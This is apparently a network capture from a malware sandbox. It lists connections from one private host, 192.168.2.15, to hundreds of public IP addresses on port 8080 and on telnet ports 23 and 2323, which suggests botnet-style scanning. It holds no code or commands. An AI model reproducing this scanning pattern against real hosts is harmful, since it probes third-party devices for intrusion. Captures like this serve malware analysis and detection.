Feb 19, 2025 19:48:54.990915060 CET	7173	8080	192.168.2.15	95.64.161.210
Feb 19, 2025 19:48:54.990921021 CET	8080	7173	94.78.170.193	192.168.2.15
Feb 19, 2025 19:48:54.990921021 CET	7173	8080	192.168.2.15	31.228.23.225
Feb 19, 2025 19:48:54.990931034 CET	7173	8080	192.168.2.15	94.30.115.46
Feb 19, 2025 19:48:54.990931034 CET	8080	7173	31.38.216.26	192.168.2.15
Feb 19, 2025 19:48:54.990937948 CET	7173	8080	192.168.2.15	31.32.180.63
Feb 19, 2025 19:48:54.990938902 CET	7173	8080	192.168.2.15	85.163.230.70
Feb 19, 2025 19:48:54.990938902 CET	7173	8080	192.168.2.15	94.230.118.92
Feb 19, 2025 19:48:54.990940094 CET	8080	7173	62.145.3.145	192.168.2.15
Feb 19, 2025 19:48:54.990942001 CET	7173	8080	192.168.2.15	95.173.100.102
Feb 19, 2025 19:48:54.990950108 CET	7173	8080	192.168.2.15	94.78.170.193
Feb 19, 2025 19:48:54.990951061 CET	8080	7173	85.225.41.193	192.168.2.15
Feb 19, 2025 19:48:54.990959883 CET	7173	8080	192.168.2.15	31.38.216.26
Feb 19, 2025 19:48:54.990961075 CET	8080	7173	85.15.174.152	192.168.2.15
Feb 19, 2025 19:48:54.990962982 CET	7173	8080	192.168.2.15	62.145.3.145
Feb 19, 2025 19:48:54.990971088 CET	8080	7173	94.84.192.127	192.168.2.15
Feb 19, 2025 19:48:54.990974903 CET	7173	8080	192.168.2.15	85.135.192.92
Feb 19, 2025 19:48:54.990979910 CET	7173	8080	192.168.2.15	85.129.215.97
Feb 19, 2025 19:48:54.990981102 CET	8080	7173	95.230.173.244	192.168.2.15
Feb 19, 2025 19:48:54.990987062 CET	7173	8080	192.168.2.15	85.225.41.193
Feb 19, 2025 19:48:54.990988016 CET	7173	8080	192.168.2.15	31.115.204.253
Feb 19, 2025 19:48:54.990988016 CET	7173	8080	192.168.2.15	85.15.174.152
Feb 19, 2025 19:48:54.990991116 CET	8080	7173	62.119.4.207	192.168.2.15
Feb 19, 2025 19:48:54.990994930 CET	7173	8080	192.168.2.15	94.84.192.127
Feb 19, 2025 19:48:54.990994930 CET	7173	8080	192.168.2.15	31.92.82.197
Feb 19, 2025 19:48:54.990999937 CET	8080	7173	95.86.102.120	192.168.2.15
Feb 19, 2025 19:48:54.991009951 CET	7173	8080	192.168.2.15	85.178.112.170
Feb 19, 2025 19:48:54.991010904 CET	7173	8080	192.168.2.15	95.230.173.244
Feb 19, 2025 19:48:54.991019964 CET	7173	8080	192.168.2.15	62.119.4.207
Feb 19, 2025 19:48:54.991031885 CET	7173	8080	192.168.2.15	95.86.102.120
Feb 19, 2025 19:48:54.991045952 CET	7173	8080	192.168.2.15	31.94.209.113
Feb 19, 2025 19:48:54.991060019 CET	7173	8080	192.168.2.15	94.160.155.152
Feb 19, 2025 19:48:54.991066933 CET	7173	8080	192.168.2.15	31.27.210.192
Feb 19, 2025 19:48:54.991080999 CET	7173	8080	192.168.2.15	85.189.133.252
Feb 19, 2025 19:48:54.991086960 CET	7173	8080	192.168.2.15	85.103.197.199
Feb 19, 2025 19:48:54.991149902 CET	7173	8080	192.168.2.15	95.152.27.202
Feb 19, 2025 19:48:54.991151094 CET	7173	8080	192.168.2.15	95.10.24.69
Feb 19, 2025 19:48:54.991158962 CET	7173	8080	192.168.2.15	62.172.77.105
Feb 19, 2025 19:48:54.991180897 CET	7173	8080	192.168.2.15	94.123.198.22
Feb 19, 2025 19:48:54.991215944 CET	7173	8080	192.168.2.15	85.86.33.202
Feb 19, 2025 19:48:54.991221905 CET	54446	80	192.168.2.15	88.32.226.221
Feb 19, 2025 19:48:54.991224051 CET	7173	8080	192.168.2.15	95.192.84.124
Feb 19, 2025 19:48:54.991235018 CET	7173	8080	192.168.2.15	31.245.247.4
Feb 19, 2025 19:48:54.991287947 CET	7173	8080	192.168.2.15	31.214.225.130
Feb 19, 2025 19:48:54.991323948 CET	7173	8080	192.168.2.15	95.1.150.50
Feb 19, 2025 19:48:54.991339922 CET	7173	8080	192.168.2.15	62.158.171.135
Feb 19, 2025 19:48:54.991341114 CET	7173	8080	192.168.2.15	95.220.184.110
Feb 19, 2025 19:48:54.991353035 CET	7173	8080	192.168.2.15	95.195.103.212
Feb 19, 2025 19:48:54.991394997 CET	7173	8080	192.168.2.15	85.182.224.50
Feb 19, 2025 19:48:54.991405010 CET	7173	8080	192.168.2.15	31.191.52.201
Feb 19, 2025 19:48:54.991417885 CET	7173	8080	192.168.2.15	31.171.21.183
Feb 19, 2025 19:48:54.991456985 CET	7173	8080	192.168.2.15	85.29.241.176
Feb 19, 2025 19:48:54.991461039 CET	7173	8080	192.168.2.15	94.234.63.211
Feb 19, 2025 19:48:54.991475105 CET	7173	8080	192.168.2.15	62.144.212.68
Feb 19, 2025 19:48:54.991502047 CET	7173	8080	192.168.2.15	31.39.235.83
Feb 19, 2025 19:48:54.991518021 CET	7173	8080	192.168.2.15	94.144.120.184
Feb 19, 2025 19:48:54.991532087 CET	7173	8080	192.168.2.15	31.225.219.159
Feb 19, 2025 19:48:54.991539001 CET	7173	8080	192.168.2.15	62.27.170.74
Feb 19, 2025 19:48:54.991548061 CET	7173	8080	192.168.2.15	62.145.111.30
Feb 19, 2025 19:48:54.991554976 CET	7173	8080	192.168.2.15	85.123.10.81
Feb 19, 2025 19:48:54.991585970 CET	7173	8080	192.168.2.15	95.76.176.213
Feb 19, 2025 19:48:54.991595030 CET	7173	8080	192.168.2.15	62.217.2.161
Feb 19, 2025 19:48:54.991609097 CET	7173	8080	192.168.2.15	95.175.77.195
Feb 19, 2025 19:48:54.991616964 CET	7173	8080	192.168.2.15	95.63.114.95
Feb 19, 2025 19:48:54.991624117 CET	7173	8080	192.168.2.15	95.255.40.59
Feb 19, 2025 19:48:54.991642952 CET	7173	8080	192.168.2.15	31.31.188.83
Feb 19, 2025 19:48:54.991668940 CET	7173	8080	192.168.2.15	85.161.149.5
Feb 19, 2025 19:48:54.991688967 CET	7173	8080	192.168.2.15	95.223.202.112
Feb 19, 2025 19:48:54.991697073 CET	7173	8080	192.168.2.15	62.7.87.109
Feb 19, 2025 19:48:54.991715908 CET	7173	8080	192.168.2.15	94.174.151.163
Feb 19, 2025 19:48:54.991719961 CET	7173	8080	192.168.2.15	31.102.105.38
Feb 19, 2025 19:48:54.991740942 CET	7173	8080	192.168.2.15	85.52.98.84
Feb 19, 2025 19:48:54.991749048 CET	7173	8080	192.168.2.15	85.82.67.93
Feb 19, 2025 19:48:54.991755962 CET	7173	8080	192.168.2.15	95.83.167.219
Feb 19, 2025 19:48:54.991766930 CET	8080	7173	62.16.34.99	192.168.2.15
Feb 19, 2025 19:48:54.991769075 CET	7173	8080	192.168.2.15	95.88.203.226
Feb 19, 2025 19:48:54.991779089 CET	8080	7173	94.140.222.185	192.168.2.15
Feb 19, 2025 19:48:54.991786003 CET	7173	8080	192.168.2.15	62.7.184.248
Feb 19, 2025 19:48:54.991791010 CET	8080	7173	62.41.48.227	192.168.2.15
Feb 19, 2025 19:48:54.991799116 CET	7173	8080	192.168.2.15	62.16.34.99
Feb 19, 2025 19:48:54.991800070 CET	8080	7173	95.37.71.29	192.168.2.15
Feb 19, 2025 19:48:54.991813898 CET	7173	8080	192.168.2.15	94.140.222.185
Feb 19, 2025 19:48:54.991816044 CET	7173	8080	192.168.2.15	62.41.48.227
Feb 19, 2025 19:48:54.991818905 CET	8080	7173	85.131.242.251	192.168.2.15
Feb 19, 2025 19:48:54.991828918 CET	8080	7173	94.29.174.101	192.168.2.15
Feb 19, 2025 19:48:54.991832972 CET	7173	8080	192.168.2.15	95.37.71.29
Feb 19, 2025 19:48:54.991838932 CET	8080	7173	95.171.43.133	192.168.2.15
Feb 19, 2025 19:48:54.991848946 CET	8080	7173	85.86.78.218	192.168.2.15
Feb 19, 2025 19:48:54.991852045 CET	7173	8080	192.168.2.15	85.131.242.251
Feb 19, 2025 19:48:54.991858959 CET	8080	7173	62.226.112.149	192.168.2.15
Feb 19, 2025 19:48:54.991868973 CET	8080	7173	85.237.233.79	192.168.2.15
Feb 19, 2025 19:48:54.991873980 CET	7173	8080	192.168.2.15	62.54.135.207
Feb 19, 2025 19:48:54.991873980 CET	7173	8080	192.168.2.15	95.171.43.133
Feb 19, 2025 19:48:54.991875887 CET	7173	8080	192.168.2.15	94.29.174.101
Feb 19, 2025 19:48:54.991877079 CET	7173	8080	192.168.2.15	85.86.78.218
Feb 19, 2025 19:48:54.991878986 CET	8080	7173	62.245.243.135	192.168.2.15
Feb 19, 2025 19:48:54.991883039 CET	7173	8080	192.168.2.15	62.226.112.149
Feb 19, 2025 19:48:54.991889954 CET	8080	7173	85.232.156.169	192.168.2.15
Feb 19, 2025 19:48:54.991894960 CET	7173	8080	192.168.2.15	85.237.233.79
Feb 19, 2025 19:48:54.991900921 CET	8080	7173	95.45.106.9	192.168.2.15
Feb 19, 2025 19:48:54.991906881 CET	7173	8080	192.168.2.15	62.245.243.135
Feb 19, 2025 19:48:54.991909981 CET	8080	7173	95.68.238.37	192.168.2.15
Feb 19, 2025 19:48:54.991920948 CET	8080	7173	95.63.15.200	192.168.2.15
Feb 19, 2025 19:48:54.991920948 CET	7173	8080	192.168.2.15	85.232.156.169
Feb 19, 2025 19:48:54.991925001 CET	7173	8080	192.168.2.15	95.45.106.9
Feb 19, 2025 19:48:54.991930962 CET	8080	7173	94.178.1.72	192.168.2.15
Feb 19, 2025 19:48:54.991939068 CET	8080	7173	94.202.142.211	192.168.2.15
Feb 19, 2025 19:48:54.991941929 CET	7173	8080	192.168.2.15	95.68.238.37
Feb 19, 2025 19:48:54.991952896 CET	7173	8080	192.168.2.15	95.63.15.200
Feb 19, 2025 19:48:54.991952896 CET	7173	8080	192.168.2.15	95.86.83.130
Feb 19, 2025 19:48:54.991955996 CET	8080	7173	62.99.118.23	192.168.2.15
Feb 19, 2025 19:48:54.991966963 CET	8080	7173	62.229.148.131	192.168.2.15
Feb 19, 2025 19:48:54.991969109 CET	7173	8080	192.168.2.15	94.202.142.211
Feb 19, 2025 19:48:54.991971970 CET	7173	8080	192.168.2.15	94.178.1.72
Feb 19, 2025 19:48:54.991976976 CET	8080	7173	85.96.171.104	192.168.2.15
Feb 19, 2025 19:48:54.991986990 CET	7173	8080	192.168.2.15	62.99.118.23
Feb 19, 2025 19:48:54.991992950 CET	7173	8080	192.168.2.15	62.229.148.131
Feb 19, 2025 19:48:54.992006063 CET	7173	8080	192.168.2.15	85.96.171.104
Feb 19, 2025 19:48:54.992008924 CET	7173	8080	192.168.2.15	94.141.175.146
Feb 19, 2025 19:48:54.992014885 CET	7173	8080	192.168.2.15	31.216.169.93
Feb 19, 2025 19:48:54.992026091 CET	7173	8080	192.168.2.15	62.170.59.170
Feb 19, 2025 19:48:54.992041111 CET	7173	8080	192.168.2.15	85.249.106.111
Feb 19, 2025 19:48:54.992054939 CET	8080	7173	94.123.105.212	192.168.2.15
Feb 19, 2025 19:48:54.992055893 CET	7173	8080	192.168.2.15	85.210.119.249
Feb 19, 2025 19:48:54.992064953 CET	8080	7173	94.242.4.89	192.168.2.15
Feb 19, 2025 19:48:54.992069960 CET	7173	8080	192.168.2.15	62.60.185.40
Feb 19, 2025 19:48:54.992075920 CET	7173	8080	192.168.2.15	94.103.247.143
Feb 19, 2025 19:48:54.992085934 CET	7173	8080	192.168.2.15	94.123.105.212
Feb 19, 2025 19:48:54.992086887 CET	8080	7173	85.229.112.151	192.168.2.15
Feb 19, 2025 19:48:54.992090940 CET	7173	8080	192.168.2.15	94.242.4.89
Feb 19, 2025 19:48:54.992100000 CET	8080	7173	62.65.17.175	192.168.2.15
Feb 19, 2025 19:48:54.992109060 CET	8080	7173	31.80.77.118	192.168.2.15
Feb 19, 2025 19:48:54.992120028 CET	7173	8080	192.168.2.15	85.229.112.151
Feb 19, 2025 19:48:54.992130995 CET	7173	8080	192.168.2.15	62.65.17.175
Feb 19, 2025 19:48:54.992135048 CET	8080	7173	62.69.172.87	192.168.2.15
Feb 19, 2025 19:48:54.992136002 CET	7173	8080	192.168.2.15	31.80.77.118
Feb 19, 2025 19:48:54.992153883 CET	7173	8080	192.168.2.15	62.137.136.110
Feb 19, 2025 19:48:54.992160082 CET	8080	7173	31.13.184.27	192.168.2.15
Feb 19, 2025 19:48:54.992167950 CET	7173	8080	192.168.2.15	62.69.172.87
Feb 19, 2025 19:48:54.992171049 CET	8080	7173	94.72.115.197	192.168.2.15
Feb 19, 2025 19:48:54.992171049 CET	7173	8080	192.168.2.15	85.164.136.33
Feb 19, 2025 19:48:54.992183924 CET	7173	8080	192.168.2.15	85.112.176.219
Feb 19, 2025 19:48:54.992185116 CET	7173	8080	192.168.2.15	85.26.180.6
Feb 19, 2025 19:48:54.992192030 CET	7173	8080	192.168.2.15	31.13.184.27
Feb 19, 2025 19:48:54.992201090 CET	7173	8080	192.168.2.15	94.72.115.197
Feb 19, 2025 19:48:54.992213964 CET	7173	8080	192.168.2.15	94.24.61.200
Feb 19, 2025 19:48:54.992233038 CET	7173	8080	192.168.2.15	85.211.202.42
Feb 19, 2025 19:48:54.992237091 CET	7173	8080	192.168.2.15	95.13.233.184
Feb 19, 2025 19:48:54.992237091 CET	7173	8080	192.168.2.15	95.159.91.204
Feb 19, 2025 19:48:54.992247105 CET	7173	8080	192.168.2.15	62.74.235.11
Feb 19, 2025 19:48:54.992253065 CET	7173	8080	192.168.2.15	85.139.122.93
Feb 19, 2025 19:48:54.992259026 CET	7173	8080	192.168.2.15	95.21.165.64
Feb 19, 2025 19:48:54.992265940 CET	7173	8080	192.168.2.15	85.204.167.140
Feb 19, 2025 19:48:54.992285013 CET	7173	8080	192.168.2.15	62.243.178.78
Feb 19, 2025 19:48:54.992292881 CET	7173	8080	192.168.2.15	31.9.217.158
Feb 19, 2025 19:48:54.992300987 CET	7173	8080	192.168.2.15	31.125.181.174
Feb 19, 2025 19:48:54.992309093 CET	7173	8080	192.168.2.15	95.152.168.153
Feb 19, 2025 19:48:54.992330074 CET	7173	8080	192.168.2.15	31.229.228.239
Feb 19, 2025 19:48:54.992330074 CET	7173	8080	192.168.2.15	62.188.6.163
Feb 19, 2025 19:48:54.992336035 CET	7173	8080	192.168.2.15	31.125.51.123
Feb 19, 2025 19:48:54.992352962 CET	7173	8080	192.168.2.15	31.144.14.56
Feb 19, 2025 19:48:54.992361069 CET	7173	8080	192.168.2.15	62.72.95.215
Feb 19, 2025 19:48:54.992371082 CET	7173	8080	192.168.2.15	94.135.128.219
Feb 19, 2025 19:48:54.992383957 CET	7173	8080	192.168.2.15	94.84.158.71
Feb 19, 2025 19:48:54.992392063 CET	7173	8080	192.168.2.15	85.67.223.198
Feb 19, 2025 19:48:54.992414951 CET	7173	8080	192.168.2.15	94.136.180.146
Feb 19, 2025 19:48:54.992439032 CET	7173	8080	192.168.2.15	85.51.31.86
Feb 19, 2025 19:48:54.992450953 CET	7173	8080	192.168.2.15	94.155.114.222
Feb 19, 2025 19:48:54.992465973 CET	7173	8080	192.168.2.15	62.113.225.31
Feb 19, 2025 19:48:54.992465973 CET	7173	8080	192.168.2.15	95.6.74.31
Feb 19, 2025 19:48:54.992482901 CET	7173	8080	192.168.2.15	31.219.89.252
Feb 19, 2025 19:48:54.992523909 CET	7173	8080	192.168.2.15	85.157.235.131
Feb 19, 2025 19:48:54.992541075 CET	7173	8080	192.168.2.15	62.123.1.123
Feb 19, 2025 19:48:54.992579937 CET	7173	8080	192.168.2.15	62.227.124.148
Feb 19, 2025 19:48:54.992610931 CET	7173	8080	192.168.2.15	95.143.178.74
Feb 19, 2025 19:48:54.992618084 CET	7173	8080	192.168.2.15	94.197.154.25
Feb 19, 2025 19:48:54.992624998 CET	7173	8080	192.168.2.15	95.164.121.218
Feb 19, 2025 19:48:54.992641926 CET	7173	8080	192.168.2.15	31.13.164.151
Feb 19, 2025 19:48:54.992654085 CET	7173	8080	192.168.2.15	31.68.237.44
Feb 19, 2025 19:48:54.992657900 CET	7173	8080	192.168.2.15	62.18.60.192
Feb 19, 2025 19:48:54.992670059 CET	7173	8080	192.168.2.15	62.45.27.52
Feb 19, 2025 19:48:54.992671013 CET	7173	8080	192.168.2.15	94.67.128.169
Feb 19, 2025 19:48:54.992680073 CET	7173	8080	192.168.2.15	94.239.116.181
Feb 19, 2025 19:48:54.992685080 CET	7173	8080	192.168.2.15	85.109.157.183
Feb 19, 2025 19:48:54.992697001 CET	7173	8080	192.168.2.15	31.23.95.139
Feb 19, 2025 19:48:54.992710114 CET	7173	8080	192.168.2.15	31.2.117.129
Feb 19, 2025 19:48:54.992718935 CET	7173	8080	192.168.2.15	62.88.200.124
Feb 19, 2025 19:48:54.992736101 CET	7173	8080	192.168.2.15	31.250.239.77
Feb 19, 2025 19:48:54.992748022 CET	7173	8080	192.168.2.15	31.249.224.141
Feb 19, 2025 19:48:54.992757082 CET	7173	8080	192.168.2.15	85.52.250.206
Feb 19, 2025 19:48:54.992764950 CET	7173	8080	192.168.2.15	62.112.177.87
Feb 19, 2025 19:48:54.992775917 CET	7173	8080	192.168.2.15	62.127.115.40
Feb 19, 2025 19:48:54.992789984 CET	7173	8080	192.168.2.15	94.177.212.59
Feb 19, 2025 19:48:54.992831945 CET	7173	8080	192.168.2.15	31.34.177.118
Feb 19, 2025 19:48:54.992852926 CET	7173	8080	192.168.2.15	94.91.21.112
Feb 19, 2025 19:48:54.992855072 CET	7173	8080	192.168.2.15	95.159.123.138
Feb 19, 2025 19:48:54.992861986 CET	7173	8080	192.168.2.15	85.246.173.31
Feb 19, 2025 19:48:54.992897987 CET	7173	8080	192.168.2.15	31.41.91.247
Feb 19, 2025 19:48:54.992911100 CET	8080	7173	62.16.95.77	192.168.2.15
Feb 19, 2025 19:48:54.992921114 CET	8080	7173	85.98.47.228	192.168.2.15
Feb 19, 2025 19:48:54.992930889 CET	7173	8080	192.168.2.15	31.88.216.190
Feb 19, 2025 19:48:54.992930889 CET	8080	7173	95.77.143.219	192.168.2.15
Feb 19, 2025 19:48:54.992942095 CET	8080	7173	31.150.141.55	192.168.2.15
Feb 19, 2025 19:48:54.992947102 CET	7173	8080	192.168.2.15	62.16.95.77
Feb 19, 2025 19:48:54.992950916 CET	7173	8080	192.168.2.15	85.98.47.228
Feb 19, 2025 19:48:54.992952108 CET	8080	7173	31.135.2.6	192.168.2.15
Feb 19, 2025 19:48:54.992958069 CET	7173	8080	192.168.2.15	95.77.143.219
Feb 19, 2025 19:48:54.992963076 CET	8080	7173	95.55.162.225	192.168.2.15
Feb 19, 2025 19:48:54.992974043 CET	7173	8080	192.168.2.15	31.150.141.55
Feb 19, 2025 19:48:54.992980003 CET	8080	7173	31.91.73.132	192.168.2.15
Feb 19, 2025 19:48:54.992983103 CET	7173	8080	192.168.2.15	31.135.2.6
Feb 19, 2025 19:48:54.992989063 CET	7173	8080	192.168.2.15	95.55.162.225
Feb 19, 2025 19:48:54.992990017 CET	8080	7173	85.233.129.112	192.168.2.15
Feb 19, 2025 19:48:54.993000031 CET	8080	7173	85.115.7.29	192.168.2.15
Feb 19, 2025 19:48:54.993015051 CET	7173	8080	192.168.2.15	31.91.73.132
Feb 19, 2025 19:48:54.993016958 CET	8080	7173	62.154.165.160	192.168.2.15
Feb 19, 2025 19:48:54.993021011 CET	7173	8080	192.168.2.15	85.233.129.112
Feb 19, 2025 19:48:54.993027925 CET	8080	7173	94.1.203.135	192.168.2.15
Feb 19, 2025 19:48:54.993027925 CET	7173	8080	192.168.2.15	85.115.7.29
Feb 19, 2025 19:48:54.993037939 CET	8080	7173	31.203.100.121	192.168.2.15
Feb 19, 2025 19:48:54.993056059 CET	7173	8080	192.168.2.15	62.154.165.160
Feb 19, 2025 19:48:54.993056059 CET	7173	8080	192.168.2.15	95.203.118.201
Feb 19, 2025 19:48:54.993057013 CET	7173	8080	192.168.2.15	94.1.203.135
Feb 19, 2025 19:48:54.993066072 CET	7173	8080	192.168.2.15	31.203.100.121
Feb 19, 2025 19:48:54.993079901 CET	7173	8080	192.168.2.15	62.237.149.242
Feb 19, 2025 19:48:54.993082047 CET	8080	7173	31.217.111.235	192.168.2.15
Feb 19, 2025 19:48:54.993098974 CET	8080	7173	62.167.211.172	192.168.2.15
Feb 19, 2025 19:48:54.993103981 CET	7173	8080	192.168.2.15	85.197.25.39
Feb 19, 2025 19:48:54.993103981 CET	7173	8080	192.168.2.15	31.217.111.235
Feb 19, 2025 19:48:54.993115902 CET	7173	8080	192.168.2.15	31.207.213.218
Feb 19, 2025 19:48:54.993133068 CET	7173	8080	192.168.2.15	62.167.211.172
Feb 19, 2025 19:48:54.993146896 CET	8080	7173	62.208.143.84	192.168.2.15
Feb 19, 2025 19:48:54.993146896 CET	7173	8080	192.168.2.15	85.28.221.137
Feb 19, 2025 19:48:54.993158102 CET	8080	7173	95.233.225.12	192.168.2.15
Feb 19, 2025 19:48:54.993165970 CET	8080	7173	31.78.109.239	192.168.2.15
Feb 19, 2025 19:48:54.993168116 CET	9989	2323	192.168.2.15	61.77.31.224
Feb 19, 2025 19:48:54.993172884 CET	7173	8080	192.168.2.15	31.252.98.138
Feb 19, 2025 19:48:54.993185997 CET	7173	8080	192.168.2.15	62.208.143.84
Feb 19, 2025 19:48:54.993185997 CET	7173	8080	192.168.2.15	95.233.225.12
Feb 19, 2025 19:48:54.993194103 CET	8080	7173	62.194.116.255	192.168.2.15
Feb 19, 2025 19:48:54.993199110 CET	7173	8080	192.168.2.15	31.78.109.239
Feb 19, 2025 19:48:54.993199110 CET	7173	8080	192.168.2.15	31.83.180.168
Feb 19, 2025 19:48:54.993201971 CET	7173	8080	192.168.2.15	31.208.58.28
Feb 19, 2025 19:48:54.993205070 CET	8080	7173	94.113.55.118	192.168.2.15
Feb 19, 2025 19:48:54.993215084 CET	7173	8080	192.168.2.15	62.246.237.106
Feb 19, 2025 19:48:54.993216991 CET	7173	8080	192.168.2.15	62.69.93.22
Feb 19, 2025 19:48:54.993221998 CET	7173	8080	192.168.2.15	95.54.228.2
Feb 19, 2025 19:48:54.993222952 CET	8080	7173	85.43.66.218	192.168.2.15
Feb 19, 2025 19:48:54.993223906 CET	7173	8080	192.168.2.15	62.194.116.255
Feb 19, 2025 19:48:54.993223906 CET	7173	8080	192.168.2.15	94.113.55.118
Feb 19, 2025 19:48:54.993232965 CET	8080	7173	85.176.93.255	192.168.2.15
Feb 19, 2025 19:48:54.993237972 CET	7173	8080	192.168.2.15	94.169.253.47
Feb 19, 2025 19:48:54.993243933 CET	8080	7173	62.64.19.117	192.168.2.15
Feb 19, 2025 19:48:54.993252039 CET	7173	8080	192.168.2.15	31.46.80.21
Feb 19, 2025 19:48:54.993253946 CET	8080	7173	85.235.246.19	192.168.2.15
Feb 19, 2025 19:48:54.993257046 CET	7173	8080	192.168.2.15	85.43.66.218
Feb 19, 2025 19:48:54.993271112 CET	7173	8080	192.168.2.15	62.64.19.117
Feb 19, 2025 19:48:54.993271112 CET	8080	7173	85.234.43.21	192.168.2.15
Feb 19, 2025 19:48:54.993272066 CET	7173	8080	192.168.2.15	85.176.93.255
Feb 19, 2025 19:48:54.993278980 CET	7173	8080	192.168.2.15	85.235.246.19
Feb 19, 2025 19:48:54.993282080 CET	8080	7173	62.222.132.64	192.168.2.15
Feb 19, 2025 19:48:54.993299961 CET	7173	8080	192.168.2.15	85.234.43.21
Feb 19, 2025 19:48:54.993304968 CET	8080	7173	94.186.244.231	192.168.2.15
Feb 19, 2025 19:48:54.993308067 CET	7173	8080	192.168.2.15	62.222.132.64
Feb 19, 2025 19:48:54.993308067 CET	7173	8080	192.168.2.15	62.60.162.5
Feb 19, 2025 19:48:54.993316889 CET	7173	8080	192.168.2.15	94.242.11.178
Feb 19, 2025 19:48:54.993333101 CET	7173	8080	192.168.2.15	62.23.36.204
Feb 19, 2025 19:48:54.993340015 CET	7173	8080	192.168.2.15	94.186.244.231
Feb 19, 2025 19:48:54.993347883 CET	7173	8080	192.168.2.15	94.119.31.114
Feb 19, 2025 19:48:54.993355989 CET	9989	23	192.168.2.15	142.222.201.224
Feb 19, 2025 19:48:54.993364096 CET	9989	23	192.168.2.15	87.215.48.204
Feb 19, 2025 19:48:54.993366957 CET	7173	8080	192.168.2.15	94.2.44.192
Feb 19, 2025 19:48:54.993372917 CET	9989	23	192.168.2.15	174.205.253.239
Feb 19, 2025 19:48:54.993395090 CET	9989	23	192.168.2.15	182.120.73.66
Feb 19, 2025 19:48:54.993415117 CET	9989	23	192.168.2.15	189.246.234.53
Feb 19, 2025 19:48:54.993429899 CET	9989	23	192.168.2.15	196.235.37.154
Feb 19, 2025 19:48:54.993439913 CET	9989	23	192.168.2.15	80.173.249.219
Feb 19, 2025 19:48:54.993454933 CET	9989	23	192.168.2.15	133.134.168.88
Feb 19, 2025 19:48:54.993463993 CET	9989	23	192.168.2.15	14.58.253.152
Feb 19, 2025 19:48:54.993474007 CET	9989	2323	192.168.2.15	35.170.96.43
Feb 19, 2025 19:48:54.993475914 CET	9989	23	192.168.2.15	40.77.63.105
Feb 19, 2025 19:48:54.993478060 CET	9989	23	192.168.2.15	96.37.99.225
Feb 19, 2025 19:48:54.993479967 CET	9989	23	192.168.2.15	110.219.79.45
Feb 19, 2025 19:48:54.993486881 CET	9989	23	192.168.2.15	18.180.217.255
Feb 19, 2025 19:48:54.993493080 CET	9989	23	192.168.2.15	89.25.173.132
Feb 19, 2025 19:48:54.993504047 CET	7173	8080	192.168.2.15	95.119.120.206
Feb 19, 2025 19:48:54.993505001 CET	7173	8080	192.168.2.15	94.15.84.173
Feb 19, 2025 19:48:54.993514061 CET	7173	8080	192.168.2.15	85.232.14.45
Feb 19, 2025 19:48:54.993527889 CET	7173	8080	192.168.2.15	62.38.141.106
Feb 19, 2025 19:48:54.993535042 CET	9989	23	192.168.2.15	128.36.107.187
Feb 19, 2025 19:48:54.993535995 CET	7173	8080	192.168.2.15	62.78.144.99
Feb 19, 2025 19:48:54.993551016 CET	7173	8080	192.168.2.15	94.61.225.46
Feb 19, 2025 19:48:54.993566990 CET	7173	8080	192.168.2.15	31.157.82.20
Feb 19, 2025 19:48:54.993566990 CET	7173	8080	192.168.2.15	94.140.78.27
Feb 19, 2025 19:48:54.993568897 CET	9989	23	192.168.2.15	49.35.171.34
Feb 19, 2025 19:48:54.993568897 CET	9989	23	192.168.2.15	155.142.136.221
Feb 19, 2025 19:48:54.993577003 CET	9989	23	192.168.2.15	186.251.217.245
Feb 19, 2025 19:48:54.993585110 CET	7173	8080	192.168.2.15	95.147.55.112
Feb 19, 2025 19:48:54.993588924 CET	9989	23	192.168.2.15	50.24.39.79
Feb 19, 2025 19:48:54.993591070 CET	9989	2323	192.168.2.15	146.90.159.124
Feb 19, 2025 19:48:54.993597031 CET	9989	23	192.168.2.15	51.238.69.251
Feb 19, 2025 19:48:54.993606091 CET	9989	23	192.168.2.15	61.127.185.48
Feb 19, 2025 19:48:54.993643999 CET	9989	23	192.168.2.15	40.73.193.98
Feb 19, 2025 19:48:54.993645906 CET	9989	23	192.168.2.15	196.4.233.218
Feb 19, 2025 19:48:54.993649960 CET	9989	23	192.168.2.15	20.119.140.66
Feb 19, 2025 19:48:54.993680954 CET	9989	23	192.168.2.15	192.108.130.189
Feb 19, 2025 19:48:54.993685007 CET	9989	23	192.168.2.15	2.75.106.137
Feb 19, 2025 19:48:54.993695974 CET	9989	23	192.168.2.15	63.156.58.229
Feb 19, 2025 19:48:54.993699074 CET	9989	2323	192.168.2.15	221.163.23.107
Feb 19, 2025 19:48:54.993710995 CET	9989	23	192.168.2.15	78.99.245.215
Feb 19, 2025 19:48:54.993714094 CET	9989	23	192.168.2.15	200.33.242.191
Feb 19, 2025 19:48:54.993726969 CET	9989	23	192.168.2.15	170.61.103.190
Feb 19, 2025 19:48:54.993731022 CET	9989	23	192.168.2.15	81.119.58.184
Feb 19, 2025 19:48:54.993737936 CET	9989	23	192.168.2.15	62.41.177.12
Feb 19, 2025 19:48:54.993741035 CET	9989	23	192.168.2.15	223.30.246.225
Feb 19, 2025 19:48:54.993745089 CET	9989	23	192.168.2.15	111.101.131.62
Feb 19, 2025 19:48:54.993753910 CET	7173	8080	192.168.2.15	85.30.68.227
Feb 19, 2025 19:48:54.993758917 CET	9989	23	192.168.2.15	59.254.120.2
Feb 19, 2025 19:48:54.993761063 CET	9989	23	192.168.2.15	112.200.221.110
Feb 19, 2025 19:48:54.993761063 CET	9989	2323	192.168.2.15	84.244.48.176
Feb 19, 2025 19:48:54.993772984 CET	9989	23	192.168.2.15	182.85.81.111
Feb 19, 2025 19:48:54.993776083 CET	9989	23	192.168.2.15	25.227.246.121
Feb 19, 2025 19:48:54.993777037 CET	9989	23	192.168.2.15	66.226.150.249
Feb 19, 2025 19:48:54.993779898 CET	9989	23	192.168.2.15	213.112.139.174
Feb 19, 2025 19:48:54.993781090 CET	9989	23	192.168.2.15	205.64.76.203
Feb 19, 2025 19:48:54.993779898 CET	9989	23	192.168.2.15	137.219.70.212
Feb 19, 2025 19:48:54.993783951 CET	9989	23	192.168.2.15	105.22.176.28
Feb 19, 2025 19:48:54.993788004 CET	9989	23	192.168.2.15	155.201.187.179
Feb 19, 2025 19:48:54.993802071 CET	7173	8080	192.168.2.15	94.63.99.175
Feb 19, 2025 19:48:54.993803978 CET	7173	8080	192.168.2.15	94.21.24.249
Feb 19, 2025 19:48:54.993804932 CET	9989	23	192.168.2.15	203.143.229.145
Feb 19, 2025 19:48:54.993818045 CET	7173	8080	192.168.2.15	62.89.105.32
Feb 19, 2025 19:48:54.993824959 CET	7173	8080	192.168.2.15	94.112.10.87
Feb 19, 2025 19:48:54.993837118 CET	8080	7173	31.22.140.52	192.168.2.15
